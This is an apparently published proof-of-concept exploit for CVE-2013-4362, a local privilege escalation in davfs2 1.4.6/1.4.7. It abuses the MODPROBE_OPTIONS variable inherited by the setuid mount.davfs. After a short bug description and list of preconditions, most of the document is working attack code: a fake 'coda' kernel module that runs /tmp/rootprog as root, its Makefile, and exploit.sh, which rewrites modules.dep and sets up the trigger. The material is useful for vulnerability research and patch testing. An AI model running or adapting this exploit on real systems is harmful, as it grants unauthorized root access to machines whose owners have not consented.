davfs2 1.4.6/1.4.7 local privilege escalation exploit

*Bug Description*: 
davfs2 is a Linux utility which allows OS users to mount a remote webdav server as a local partition. The bug is well
documented at http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=723034. Basically the program "mount.davfs" runs as
root with setuid and executes some calls to system() which allows to pass environment variables which can alter the
system behavior.

*Exploit Description*: 
calls to system() execute the "modprobe" command. An unprivileged, local authenticated user can set the
"MODPROBE_OPTIONS" environment variable to pass a user controlled path, allowing the load of an arbitrary kernel
module. The provided PoC contains a kernel module code which transfers back the execution to a "/tmp/rootprog" that
can contain user-mode code of choice which will run with root privileges. PLEASE, NOTE THAT THE PROVIDED POC COMES
UNARMED, YOU HAVE TO COMPILE THE USER MODE CODE WHICH YOU WANT TO RUN. The exploit has been tested on an Ubuntu-based
x86_64 system but should work on other distributions, too.

*Conditions for successful exploitation*: 

1-At least one of the module 'fuse' or 'coda' must not be loaded in the kernel. The provided PoC works with coda,
which is not loaded by default in most debian-based distributions.

2-The user which the attacker is impersonating must be allowed to mount remote webdav servers:

eviluser@host:~/hacks/davfs2$ cat /etc/group | grep davfs2
davfs2:x:1001:eviluser

3-davfs2 uses /etc/fstab to define which remote servers can be mounted by users. The user which the attacker is
impersonating must be allowed to mount at least one remote Webdav server. If this server uses authentication, the
attacker must be aware of the webdav credentials.

eviluser@host:~/hacks/davfs2$ cat /etc/fstab | grep davfs
https://www.crushftp.com/demo/   /home/eviluser/media/dav   davfs   noauto,user   0   0

####################################################################################################
#
# coda.c
#
####################################################################################################

/*
coda.c - fake coda module that executes a user-mode program
*/

#include <linux/module.h>	
#include <linux/kernel.h>	

int init_module(void)
{
	struct subprocess_info *sub_info;
	char *argv[] = { "/tmp/rootprog", NULL, NULL };
	static char *envp[] = {"HOME=/tmp/","TERM=linux","PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
        

	sub_info = call_usermodehelper_setup( argv[0], argv, envp, GFP_ATOMIC );

        if (sub_info == NULL) 
		{
		printk(KERN_INFO "call_usermodehelper_setup failed \n");
		return -ENOMEM;
		}
	else
		{
		printk(KERN_INFO "w00t!!!\n");
		call_usermodehelper_exec( sub_info, UMH_WAIT_PROC );
		}

	return 0;
}

void cleanup_module(void)
{
	printk(KERN_INFO "Exiting.\n");
}



####################################################################################################
#
# Makefile
#
####################################################################################################


obj-m += coda.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean



####################################################################################################
#
# exploit.sh
#
####################################################################################################


#!/bin/bash

# Exploit Title: davfs2 1.4.6/1.4.7 local privilege escalation exploit
# Date: 05/10/2013
# Exploit Author: Lorenzo Cantoni
# Vendor Homepage: http://savannah.nongnu.org/projects/davfs2
# Version: 1.4.6 (tested), 1.4.7 (untested)
# Tested on: Xubuntu 12.04 x86_64
# CVE: 2013-4362 
# Info: Vulnerability reported by Werner Baumann: https://www.securityfocus.com/bid/62445

KERNELV=`uname -r`
echo "#######################################"
echo "Specify the full path of the kernel module which you want to load"
echo "Leave empty if you wish to compile it now"
echo "Understand that you need kernel headers, make and gcc for successful compilation"
echo "#######################################"
read EXPLOITMODPATH

if [ -z $EXPLOITMODPATH ]; then
make
EXPLOITMODPATH=$PWD/coda.ko
fi

echo "#######################################"
echo "Copying the modules in use for the running kernel in the local directory"
echo "#######################################"
mkdir -p lib/modules
cp -R /lib/modules/`uname -r` lib/modules

echo "#######################################"
echo "Copying coda.ko module"
echo "#######################################"
cp $EXPLOITMODPATH $PWD/lib/modules/$KERNELV/kernel/fs/coda

echo "#######################################"
echo "Setting the 'modules.dep' and running depmod"
echo "#######################################"

echo -n $PWD | sed 's/\//\\\//g' > /tmp/escapedpwd
ESCAPEDPWD=`cat /tmp/escapedpwd`

OLD_CODA_PATH="kernel\/fs\/coda\/coda.ko"
NEW_CODA_PATH="$ESCAPEDPWD\/lib\/modules\/$KERNELV\/kernel\/fs\/coda\/coda.ko"

sed 's/'$OLD_CODA_PATH'/'$NEW_CODA_PATH'/g' $PWD/lib/modules/$KERNELV/modules.dep  > /tmp/new_modules.dep

cat /tmp/new_modules.dep | sed 's/\\//g' > /tmp/modules.dep.ok

cp /tmp/modules.dep.ok $PWD/lib/modules/$KERNELV/modules.dep

depmod -b $PWD
echo "#######################################"
echo "Specify the user-mode ELF which you whish to copy in /tmp/rootprog that will be run as root. Default value is $PWD/rootprog"
echo "WARNING !!!!!!!! YOU HAVE ONLY 1 SHOT !!!!! unmounting webdav partitions doesn't unload the coda.ko module"
echo "#######################################"
read ROOTPROG

if [ -z $ROOTPROG ]; then
ROOTPROG=$PWD/rootprog
fi

cp $ROOTPROG /tmp/rootprog

echo "#######################################"
echo "Setting MODPROBE_OPTIONS variable"
echo "#######################################"
export MODPROBE_OPTIONS="-d $PWD"

echo "#######################################"
echo "Now, check the the $HOME/.davfs2/davfs.conf. Modify the default value of 'kernel_fs' to coda eg:"
echo "# General Options"
echo "# ---------------"
echo ""
echo "# dav_user        davfs2            # system wide config file only"
echo "# dav_group       davfs2            # system wide config file only"
echo "# ignore_home                       # system wide config file only"
echo "kernel_fs       coda"
echo "# buf_size        16                 # KiByte"
echo "#######################################"
echo "#######################################"
echo "Then, check /etc/fstab for remote webdav servers which the user can mount, eg:"
echo "https://www.crushftp.com/demo/   /home/foo/dav   davfs   noauto,user   0   0"
echo "#######################################"
echo "#######################################"
echo "If the remote webdav is authenticated, ensure to have valid credentials. The run 'mount /home/foo/dav' inside this terminal'"
echo "#######################################"
rm /tmp/escapedpwd
rm /tmp/new_modules.dep
rm /tmp/modules.dep.ok

exec /bin/bash -i